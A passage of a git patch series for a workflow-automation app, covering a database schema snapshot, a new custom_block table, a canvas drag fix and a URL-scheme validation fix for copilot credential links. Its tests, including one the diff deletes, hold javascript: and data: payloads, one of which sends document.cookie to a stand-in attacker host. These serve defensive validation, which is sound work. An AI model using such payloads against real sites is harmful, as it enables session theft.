+ } + ], + "isUnique": true, + "where": "\"workspace_files\".\"context\" = 'mothership' AND \"workspace_files\".\"chat_id\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_files_key_idx": { + "name": "workspace_files_key_idx", + "columns": [ + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_files_user_id_idx": { + "name": "workspace_files_user_id_idx", + "columns": [ + { + "expression": "user_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_files_workspace_id_idx": { + "name": "workspace_files_workspace_id_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_files_folder_id_idx": { + "name": "workspace_files_folder_id_idx", + "columns": [ + { + "expression": "folder_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_files_context_idx": { + "name": "workspace_files_context_idx", + "columns": [ + { + "expression": "context", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_files_chat_id_idx": { + "name": "workspace_files_chat_id_idx", + "columns": [ + { + "expression": "chat_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_files_deleted_at_idx": { + "name": "workspace_files_deleted_at_idx", + "columns": [ + { + "expression": "deleted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_files_workspace_deleted_partial_idx": { + "name": "workspace_files_workspace_deleted_partial_idx", + "columns": [ + { + "expression": "workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "deleted_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"workspace_files\".\"deleted_at\" IS NOT NULL", + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workspace_files_user_id_user_id_fk": { + "name": "workspace_files_user_id_user_id_fk", + "tableFrom": "workspace_files", + "tableTo": "user", + "columnsFrom": ["user_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workspace_files_workspace_id_workspace_id_fk": { + "name": "workspace_files_workspace_id_workspace_id_fk", + "tableFrom": "workspace_files", + "tableTo": "workspace", + "columnsFrom": ["workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workspace_files_folder_id_workspace_file_folders_id_fk": { + "name": "workspace_files_folder_id_workspace_file_folders_id_fk", + "tableFrom": "workspace_files", + "tableTo": "workspace_file_folders", + "columnsFrom": ["folder_id"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + }, + "workspace_files_chat_id_copilot_chats_id_fk": { + "name": "workspace_files_chat_id_copilot_chats_id_fk", + "tableFrom": "workspace_files", + "tableTo": "copilot_chats", + "columnsFrom": ["chat_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workspace_fork_block_map": { + "name": "workspace_fork_block_map", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "child_workspace_id": { + "name": "child_workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "parent_workflow_id": { + "name": "parent_workflow_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "parent_block_id": { + "name": "parent_block_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "child_workflow_id": { + "name": "child_workflow_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "child_block_id": { + "name": "child_block_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workspace_fork_block_map_child_ws_parent_unique": { + "name": "workspace_fork_block_map_child_ws_parent_unique", + "columns": [ + { + "expression": "child_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "parent_block_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_fork_block_map_child_ws_child_unique": { + "name": "workspace_fork_block_map_child_ws_child_unique", + "columns": [ + { + "expression": "child_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "child_block_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_fork_block_map_child_ws_parent_wf_idx": { + "name": "workspace_fork_block_map_child_ws_parent_wf_idx", + "columns": [ + { + "expression": "child_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "parent_workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_fork_block_map_child_ws_child_wf_idx": { + "name": "workspace_fork_block_map_child_ws_child_wf_idx", + "columns": [ + { + "expression": "child_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "child_workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workspace_fork_block_map_child_workspace_id_workspace_id_fk": { + "name": "workspace_fork_block_map_child_workspace_id_workspace_id_fk", + "tableFrom": "workspace_fork_block_map", + "tableTo": "workspace", + "columnsFrom": ["child_workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workspace_fork_dependent_value": { + "name": "workspace_fork_dependent_value", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "child_workspace_id": { + "name": "child_workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "target_workflow_id": { + "name": "target_workflow_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "target_block_id": { + "name": "target_block_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "sub_block_key": { + "name": "sub_block_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "value": { + "name": "value", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workspace_fork_dependent_value_child_ws_wf_idx": { + "name": "workspace_fork_dependent_value_child_ws_wf_idx", + "columns": [ + { + "expression": "child_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_fork_dependent_value_field_unique": { + "name": "workspace_fork_dependent_value_field_unique", + "columns": [ + { + "expression": "child_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_workflow_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_block_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "sub_block_key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workspace_fork_dependent_value_child_workspace_id_workspace_id_fk": { + "name": "workspace_fork_dependent_value_child_workspace_id_workspace_id_fk", + "tableFrom": "workspace_fork_dependent_value", + "tableTo": "workspace", + "columnsFrom": ["child_workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workspace_fork_promote_run": { + "name": "workspace_fork_promote_run", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "child_workspace_id": { + "name": "child_workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "source_workspace_id": { + "name": "source_workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "target_workspace_id": { + "name": "target_workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "direction": { + "name": "direction", + "type": "workspace_fork_promote_direction", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "snapshot": { + "name": "snapshot", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workspace_fork_promote_run_child_ws_target_unique": { + "name": "workspace_fork_promote_run_child_ws_target_unique", + "columns": [ + { + "expression": "child_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "target_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_fork_promote_run_target_ws_idx": { + "name": "workspace_fork_promote_run_target_ws_idx", + "columns": [ + { + "expression": "target_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workspace_fork_promote_run_child_workspace_id_workspace_id_fk": { + "name": "workspace_fork_promote_run_child_workspace_id_workspace_id_fk", + "tableFrom": "workspace_fork_promote_run", + "tableTo": "workspace", + "columnsFrom": ["child_workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workspace_fork_promote_run_created_by_user_id_fk": { + "name": "workspace_fork_promote_run_created_by_user_id_fk", + "tableFrom": "workspace_fork_promote_run", + "tableTo": "user", + "columnsFrom": ["created_by"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, + "public.workspace_fork_resource_map": { + "name": "workspace_fork_resource_map", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "text", + "primaryKey": true, + "notNull": true + }, + "child_workspace_id": { + "name": "child_workspace_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "resource_type": { + "name": "resource_type", + "type": "workspace_fork_resource_type", + "typeSchema": "public", + "primaryKey": false, + "notNull": true + }, + "parent_resource_id": { + "name": "parent_resource_id", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "child_resource_id": { + "name": "child_resource_id", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_by": { + "name": "created_by", + "type": "text", + "primaryKey": false, + "notNull": false + }, + "created_at": { + "name": "created_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + }, + "updated_at": { + "name": "updated_at", + "type": "timestamp", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "workspace_fork_resource_map_child_ws_idx": { + "name": "workspace_fork_resource_map_child_ws_idx", + "columns": [ + { + "expression": "child_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_fork_resource_map_child_ws_type_idx": { + "name": "workspace_fork_resource_map_child_ws_type_idx", + "columns": [ + { + "expression": "child_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "resource_type", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "workspace_fork_resource_map_child_type_parent_unique": { + "name": "workspace_fork_resource_map_child_type_parent_unique", + "columns": [ + { + "expression": "child_workspace_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "resource_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "parent_resource_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "workspace_fork_resource_map_child_workspace_id_workspace_id_fk": { + "name": "workspace_fork_resource_map_child_workspace_id_workspace_id_fk", + "tableFrom": "workspace_fork_resource_map", + "tableTo": "workspace", + "columnsFrom": ["child_workspace_id"], + "columnsTo": ["id"], + "onDelete": "cascade", + "onUpdate": "no action" + }, + "workspace_fork_resource_map_created_by_user_id_fk": { + "name": "workspace_fork_resource_map_created_by_user_id_fk", + "tableFrom": "workspace_fork_resource_map", + "tableTo": "user", + "columnsFrom": ["created_by"], + "columnsTo": ["id"], + "onDelete": "set null", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + } + }, + "enums": { + "public.academy_cert_status": { + "name": "academy_cert_status", + "schema": "public", + "values": ["active", "revoked", "expired"] + }, + "public.background_work_kind": { + "name": "background_work_kind", + "schema": "public", + "values": ["deployment_side_effects", "fork_content_copy", "fork_sync", "fork_rollback"] + }, + "public.background_work_status_value": { + "name": "background_work_status_value", + "schema": "public", + "values": ["pending", "processing", "completed", "completed_with_warnings", "failed"] + }, + "public.billing_blocked_reason": { + "name": "billing_blocked_reason", + "schema": "public", + "values": ["payment_failed", "dispute"] + }, + "public.billing_entity_type": { + "name": "billing_entity_type", + "schema": "public", + "values": ["user", "organization"] + }, + "public.chat_type": { + "name": "chat_type", + "schema": "public", + "values": ["mothership", "copilot"] + }, + "public.copilot_async_tool_status": { + "name": "copilot_async_tool_status", + "schema": "public", + "values": ["pending", "running", "completed", "failed", "cancelled", "delivered"] + }, + "public.copilot_run_status": { + "name": "copilot_run_status", + "schema": "public", + "values": ["active", "paused_waiting_for_tool", "resuming", "complete", "error", "cancelled"] + }, + "public.credential_member_role": { + "name": "credential_member_role", + "schema": "public", + "values": ["admin", "member"] + }, + "public.credential_member_status": { + "name": "credential_member_status", + "schema": "public", + "values": ["active", "pending", "revoked"] + }, + "public.credential_set_invitation_status": { + "name": "credential_set_invitation_status", + "schema": "public", + "values": ["pending", "accepted", "expired", "cancelled"] + }, + "public.credential_set_member_status": { + "name": "credential_set_member_status", + "schema": "public", + "values": ["active", "pending", "revoked"] + }, + "public.credential_type": { + "name": "credential_type", + "schema": "public", + "values": ["oauth", "env_workspace", "env_personal", "service_account"] + }, + "public.data_drain_cadence": { + "name": "data_drain_cadence", + "schema": "public", + "values": ["hourly", "daily"] + }, + "public.data_drain_destination": { + "name": "data_drain_destination", + "schema": "public", + "values": ["s3", "gcs", "azure_blob", "datadog", "bigquery", "snowflake", "webhook"] + }, + "public.data_drain_run_status": { + "name": "data_drain_run_status", + "schema": "public", + "values": ["running", "success", "failed"] + }, + "public.data_drain_run_trigger": { + "name": "data_drain_run_trigger", + "schema": "public", + "values": ["cron", "manual"] + }, + "public.data_drain_source": { + "name": "data_drain_source", + "schema": "public", + "values": ["workflow_logs", "job_logs", "audit_logs", "copilot_chats", "copilot_runs"] + }, + "public.execution_large_value_reference_source": { + "name": "execution_large_value_reference_source", + "schema": "public", + "values": ["execution_log", "paused_snapshot"] + }, + "public.invitation_kind": { + "name": "invitation_kind", + "schema": "public", + "values": ["organization", "workspace"] + }, + "public.invitation_membership_intent": { + "name": "invitation_membership_intent", + "schema": "public", + "values": ["internal", "external"] + }, + "public.invitation_status": { + "name": "invitation_status", + "schema": "public", + "values": ["pending", "accepted", "rejected", "cancelled", "expired"] + }, + "public.permission_type": { + "name": "permission_type", + "schema": "public", + "values": ["admin", "write", "read"] + }, + "public.usage_log_category": { + "name": "usage_log_category", + "schema": "public", + "values": ["model", "fixed", "tool"] + }, + "public.usage_log_source": { + "name": "usage_log_source", + "schema": "public", + "values": [ + "workflow", + "wand", + "copilot", + "workspace-chat", + "mcp_copilot", + "mothership_block", + "knowledge-base", + "voice-input", + "enrichment" + ] + }, + "public.workspace_fork_promote_direction": { + "name": "workspace_fork_promote_direction", + "schema": "public", + "values": ["push", "pull"] + }, + "public.workspace_fork_resource_type": { + "name": "workspace_fork_resource_type", + "schema": "public", + "values": [ + "workflow", + "oauth_credential", + "service_account_credential", + "env_var", + "table", + "knowledge_base", + "knowledge_document", + "file", + "mcp_server", + "custom_tool", + "skill" + ] + }, + "public.workspace_mode": { + "name": "workspace_mode", + "schema": "public", + "values": ["personal", "organization", "grandfathered_shared"] + } + }, + "schemas": {}, + "sequences": {}, + "roles": {}, + "policies": {}, + "views": {}, + "_meta": { + "columns": {}, + "schemas": {}, + "tables": {} + } +} diff --git a/packages/db/migrations/meta/_journal.json b/packages/db/migrations/meta/_journal.json index 61a3560d9e2..6138ec0120b 100644 --- a/packages/db/migrations/meta/_journal.json +++ b/packages/db/migrations/meta/_journal.json @@ -1772,6 +1772,13 @@ "when": 1782860073503, "tag": "0253_canonical_trigger_provider_config", "breakpoints": true + }, + { + "idx": 254, + "version": "7", + "when": 1782957781005, + "tag": "0254_custom_block", + "breakpoints": true } ] } diff --git a/packages/db/schema.ts b/packages/db/schema.ts index 59cd01c729f..bd6f978daa0 100644 --- a/packages/db/schema.ts +++ b/packages/db/schema.ts @@ -2838,6 +2838,51 @@ export const workflowMcpTool = pgTable( }) ) +/** + * Custom Blocks - a deployed workflow published as a reusable, org-wide block. + * Scoped to an organization: available across every workspace in the org. Bound to + * a source `workflowId` and always executes that workflow's latest deployment. Start + * input fields are derived live (not snapshotted). `type` is the stable lowercase + * block-type slug (`custom_block_`) that flows into the block registry + * overlay, the palette, and permission-group `allowedIntegrations` access control. + */ +export const customBlock = pgTable( + 'custom_block', + { + id: text('id').primaryKey(), + organizationId: text('organization_id') + .notNull() + .references(() => organization.id, { onDelete: 'cascade' }), + workflowId: text('workflow_id') + .notNull() + .references(() => workflow.id, { onDelete: 'cascade' }), + type: text('type').notNull(), + name: text('name').notNull(), + description: text('description').notNull().default(''), + /** Uploaded icon image URL (workspace storage), or null for the default icon. */ + iconUrl: text('icon_url'), + /** + * Curated outputs exposed to consumers: `Array<{ blockId, path, name }>`. Each + * maps a child-workflow block output (blockId + dot-path) to a friendly output + * name on the block. Empty/absent → expose the child's whole `result`. Internal + * plumbing (child workflow id, trace spans) is never exposed. + */ + outputs: json('outputs').$type>(), + enabled: boolean('enabled').notNull().default(true), + createdBy: text('created_by').references(() => user.id, { onDelete: 'set null' }), + createdAt: timestamp('created_at').notNull().defaultNow(), + updatedAt: timestamp('updated_at').notNull().defaultNow(), + }, + (table) => ({ + organizationIdIdx: index('custom_block_organization_id_idx').on(table.organizationId), + workflowIdIdx: index('custom_block_workflow_id_idx').on(table.workflowId), + orgTypeUnique: uniqueIndex('custom_block_organization_type_unique').on( + table.organizationId, + table.type + ), + }) +) + export const auditLog = pgTable( 'audit_log', { diff --git a/scripts/check-api-validation-contracts.ts b/scripts/check-api-validation-contracts.ts index d9037f34494..0135f8596d5 100644 --- a/scripts/check-api-validation-contracts.ts +++ b/scripts/check-api-validation-contracts.ts @@ -9,8 +9,8 @@ const QUERY_HOOKS_DIR = path.join(ROOT, 'apps/sim/hooks/queries') const SELECTOR_HOOKS_DIR = path.join(ROOT, 'apps/sim/hooks/selectors') const BASELINE = { - totalRoutes: 885, - zodRoutes: 885, + totalRoutes: 887, + zodRoutes: 887, nonZodRoutes: 0, } as const From acf4afb1b58d6013582fbba3b010fe2ce433868d Mon Sep 17 00:00:00 2001 From: Theodore Li Date: Sat, 4 Jul 2026 15:18:44 -0700 Subject: [PATCH 04/16] fix(mothership): block subflow re-parenting in embedded workflow view (#5418) --- .../[workspaceId]/w/[workflowId]/workflow.tsx | 17 +++++++++++++++-- 1 file changed, 15 insertions(+), 2 deletions(-) diff --git a/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/workflow.tsx b/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/workflow.tsx index e30e9a0939a..4ab924e8f3d 100644 --- a/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/workflow.tsx +++ b/apps/sim/app/workspace/[workspaceId]/w/[workflowId]/workflow.tsx @@ -3153,6 +3153,14 @@ const WorkflowContent = React.memo( updateContainerDimensionsDuringMove(node.id, node.position) } + // Embedded (mship panel) canvases allow repositioning but never + // re-parenting: skip container-intersection detection so a drag over a + // subflow neither highlights it nor arms potentialParentId. Both drag-stop + // paths bail when potentialParentId still equals the drag-start parent, so + // positions persist but a block can never be inserted into (or pulled out + // of) a loop/parallel from the embedded view. + if (embedded) return + // Check if this is a starter block - starter blocks should never be in containers const isStarterBlock = node.data?.type === 'starter' if (isStarterBlock) { @@ -3268,6 +3276,7 @@ const WorkflowContent = React.memo( getNodes, potentialParentId, blocks, + embedded, getNodeAbsolutePosition, getNodeDepth, isDescendantOf, @@ -4120,7 +4129,9 @@ const WorkflowContent = React.memo( edgesUpdatable={!embedded && effectivePermissions.canEdit} className={`workflow-container h-full bg-[var(--bg)] transition-opacity duration-150 ${reactFlowStyles} ${canvasOpacityClass} ${isHandMode ? 'canvas-mode-hand' : 'canvas-mode-cursor'}`} onNodeDrag={effectivePermissions.canEdit ? onNodeDrag : undefined} - onNodeDragStop={effectivePermissions.canEdit ? onNodeDragStop : undefined} + onNodeDragStop={ + !embedded && effectivePermissions.canEdit ? onNodeDragStop : undefined + } onSelectionDragStart={ effectivePermissions.canEdit ? onSelectionDragStart : undefined } @@ -4128,7 +4139,9 @@ const WorkflowContent = React.memo( onSelectionDragStop={ effectivePermissions.canEdit ? onSelectionDragStop : undefined } - onNodeDragStart={effectivePermissions.canEdit ? onNodeDragStart : undefined} + onNodeDragStart={ + !embedded && effectivePermissions.canEdit ? onNodeDragStart : undefined + } snapToGrid={snapToGrid} snapGrid={snapGrid} elevateEdgesOnSelect={false} From 04432b64a8caac7f873fc2826ffb8d46d18feda7 Mon Sep 17 00:00:00 2001 From: Waleed Date: Sat, 4 Jul 2026 15:19:08 -0700 Subject: [PATCH 05/16] fix(copilot): validate credential-link URL scheme before rendering (#5416) * fix(copilot): validate credential-link URL scheme before rendering Only render the credential connect link as a clickable anchor when its value resolves to an http(s) URL, reusing the isSafeHttpUrl helper already used for chat file links. * refactor(copilot): move isSafeHttpUrl to shared lib/core/utils/urls Per Greptile's convention feedback: isSafeHttpUrl was consumed by both chat and workspace/home but defined inside a feature-specific 'use client' component. Move it alongside getBrowserOrigin (which it already depends on) in lib/core/utils/urls.ts, matching this repo's shared-utility rule. --- .../message/components/file-download.test.tsx | 58 ------------ .../message/components/file-download.tsx | 17 +--- .../special-tags/special-tags.test.tsx | 91 +++++++++++++++++++ .../components/special-tags/special-tags.tsx | 4 + apps/sim/lib/core/utils/urls.test.ts | 33 +++++++ apps/sim/lib/core/utils/urls.ts | 15 +++ 6 files changed, 144 insertions(+), 74 deletions(-) delete mode 100644 apps/sim/app/(interfaces)/chat/components/message/components/file-download.test.tsx create mode 100644 apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.test.tsx diff --git a/apps/sim/app/(interfaces)/chat/components/message/components/file-download.test.tsx b/apps/sim/app/(interfaces)/chat/components/message/components/file-download.test.tsx deleted file mode 100644 index 01bff16b95b..00000000000 --- a/apps/sim/app/(interfaces)/chat/components/message/components/file-download.test.tsx +++ /dev/null @@ -1,58 +0,0 @@ -/** - * @vitest-environment jsdom - */ -import { describe, expect, it, vi } from 'vitest' - -vi.mock('@sim/emcn', () => ({ - Button: () => null, - Download: () => null, - Loader: () => null, -})) - -vi.mock('@/components/icons/document-icons', () => ({ - DefaultFileIcon: () => null, - getDocumentIcon: () => () => null, -})) - -vi.mock('@/lib/core/config/env', () => ({ - env: {}, - getEnv: vi.fn(), -})) - -vi.mock('@/lib/core/config/env-flags', () => ({ - isProd: false, -})) - -import { isSafeHttpUrl } from '@/app/(interfaces)/chat/components/message/components/file-download' - -describe('isSafeHttpUrl', () => { - it('allows absolute http(s) URLs', () => { - expect(isSafeHttpUrl('https://example.com/file.pdf')).toBe(true) - expect(isSafeHttpUrl('http://example.com/file.pdf')).toBe(true) - }) - - it('allows same-origin relative URLs (resolved against the browser origin)', () => { - expect(isSafeHttpUrl('/api/files/serve/abc?context=execution')).toBe(true) - }) - - it('rejects javascript: URLs', () => { - expect(isSafeHttpUrl("javascript:fetch('//attacker.example/c?'+document.cookie)")).toBe(false) - expect(isSafeHttpUrl('JavaScript:alert(1)')).toBe(false) - }) - - it('rejects other script-capable or non-navigable schemes', () => { - expect(isSafeHttpUrl('data:text/html,')).toBe(false) - expect(isSafeHttpUrl('vbscript:msgbox(1)')).toBe(false) - expect(isSafeHttpUrl('blob:https://example.com/uuid')).toBe(false) - expect(isSafeHttpUrl('file:///etc/passwd')).toBe(false) - }) - - it('treats relative junk as same-origin http (safe) rather than throwing', () => { - expect(isSafeHttpUrl('')).toBe(true) - expect(isSafeHttpUrl('not a url')).toBe(true) - }) - - it('rejects unparseable absolute input without throwing', () => { - expect(isSafeHttpUrl('http://')).toBe(false) - }) -}) diff --git a/apps/sim/app/(interfaces)/chat/components/message/components/file-download.tsx b/apps/sim/app/(interfaces)/chat/components/message/components/file-download.tsx index 81e051579d3..e42b8e42b2b 100644 --- a/apps/sim/app/(interfaces)/chat/components/message/components/file-download.tsx +++ b/apps/sim/app/(interfaces)/chat/components/message/components/file-download.tsx @@ -6,7 +6,7 @@ import { createLogger } from '@sim/logger' import { sleep } from '@sim/utils/helpers' import { Music } from 'lucide-react' import { DefaultFileIcon, getDocumentIcon } from '@/components/icons/document-icons' -import { getBrowserOrigin } from '@/lib/core/utils/urls' +import { isSafeHttpUrl } from '@/lib/core/utils/urls' import type { ChatFile } from '@/app/(interfaces)/chat/components/message/message' const logger = createLogger('ChatFileDownload') @@ -54,21 +54,6 @@ function getFileUrl(file: ChatFile): string { return `/api/files/serve/${encodeURIComponent(file.key)}?context=${file.context || 'execution'}` } -/** - * Validates that a URL uses an http(s) scheme before it is opened in a new window. - * Rejects `javascript:`, `data:`, `blob:`, `vbscript:`, and other schemes that could - * execute script in the chat origin, since `file.url` originates from untrusted - * workflow/agent output. - */ -export function isSafeHttpUrl(url: string): boolean { - try { - const parsed = new URL(url, getBrowserOrigin() ?? undefined) - return parsed.protocol === 'http:' || parsed.protocol === 'https:' - } catch { - return false - } -} - async function triggerDownload(url: string, filename: string): Promise { const response = await fetch(url) if (!response.ok) { diff --git a/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.test.tsx b/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.test.tsx new file mode 100644 index 00000000000..5fa56531a0b --- /dev/null +++ b/apps/sim/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags.test.tsx @@ -0,0 +1,91 @@ +/** + * @vitest-environment jsdom + */ +import { act } from 'react' +import { createRoot, type Root } from 'react-dom/client' +import { beforeEach, describe, expect, it, vi } from 'vitest' + +const { mockUseUserPermissionsContext } = vi.hoisted(() => ({ + mockUseUserPermissionsContext: vi.fn(), +})) + +vi.mock('@/app/workspace/[workspaceId]/providers/workspace-permissions-provider', () => ({ + useUserPermissionsContext: mockUseUserPermissionsContext, +})) + +vi.mock('next/navigation', () => ({ + useParams: () => ({ workspaceId: 'workspace-1' }), +})) + +import type { CredentialTagData } from '@/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags' +import { SpecialTags } from '@/app/workspace/[workspaceId]/home/components/message-content/components/special-tags/special-tags' + +/** + * Minimal dependency-free render harness (the repo has no `@testing-library/react`). Mounts the + * component in a real React 19 root under jsdom, matching the pattern in `use-autosave.test.tsx`. + */ +function renderCredentialLink(data: CredentialTagData): { container: HTMLDivElement; root: Root } { + ;(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true + const container = document.createElement('div') + const root: Root = createRoot(container) + act(() => { + root.render() + }) + return { container, root } +} + +describe('CredentialDisplay link tag', () => { + beforeEach(() => { + vi.clearAllMocks() + mockUseUserPermissionsContext.mockReturnValue({ canEdit: true }) + }) + + it('does not render an anchor for a javascript: scheme value', () => { + const { container, root } = renderCredentialLink({ + type: 'link', + provider: 'github', + value: 'javascript:alert(1)', + }) + + expect(container.querySelector('a')).toBeNull() + act(() => root.unmount()) + }) + + it('does not render an anchor for a data: scheme value', () => { + const { container, root } = renderCredentialLink({ + type: 'link', + provider: 'github', + value: 'data:text/html,', + }) + + expect(container.querySelector('a')).toBeNull() + act(() => root.unmount()) + }) + + it('renders a working link for a real http(s) connect URL', () => { + const url = 'https://github.com/login/oauth/authorize?client_id=abc&scope=repo' + const { container, root } = renderCredentialLink({ + type: 'link', + provider: 'github', + value: url, + }) + + const link = container.querySelector('a') + expect(link).not.toBeNull() + expect(link?.getAttribute('href')).toBe(url) + expect(container.textContent).toContain('Connect github') + act(() => root.unmount()) + }) + + it('renders nothing when the user cannot edit, regardless of URL safety', () => { + 